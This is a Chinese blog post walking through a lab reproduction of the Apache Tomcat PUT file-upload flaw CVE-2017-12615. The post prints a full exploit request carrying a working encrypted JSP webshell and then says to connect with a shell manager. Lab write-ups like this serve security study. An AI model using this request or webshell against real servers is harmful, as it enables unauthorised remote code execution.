1. 程式人生 > 實用技巧 >Tomcat任意檔案寫入漏洞

Tomcat任意檔案寫入漏洞

Tomcat任意檔案寫入漏洞

參考連結:https://zhishihezi.net/box/c7ecf406d93ed094559f1cd654950609

靶場:vulfocus

環境:名稱: vulfocus/tomcat-cve_2017_12615

一、漏洞描述

Apache Tomcat 7.0.0到7.0.79版本中存在遠端程式碼執行漏洞,當 Tomcat 執行在 Windows 主機上,且啟用了 HTTP PUT 請求方法時,攻擊者可通過精心構造的攻擊請求向伺服器上傳包含任意程式碼的 JSP 檔案,檔案中的程式碼被伺服器執行。

二、影響版本

Apache Tomcat >=7.0.0,<=7.0.79

三、漏洞復現

1、訪問給出的地址;192.168.1.177:43999

2、抓包,然後直接修改為PUT請求方式,並且設定檔名為1.jsp(名字隨意),然後在下面直接填充jsp的shell即可,傳送成功後,正常情況下伺服器應該會返回狀態碼201,。

PUT /1.jsp/ HTTP/1.1
Host: 118.193.36.37:29618
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 611
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

  

3、直接訪問1.jsp檔案,應該是存在的,但是由於我發包的時候伺服器沒有任何反應(具體的我也不知道發生了什麼),如下。

所以後面的步驟我主要來自:https://zhishihezi.net/box/c7ecf406d93ed094559f1cd654950609

4、訪問1.jsp,存在

5、使用 shell 管理工具連線即可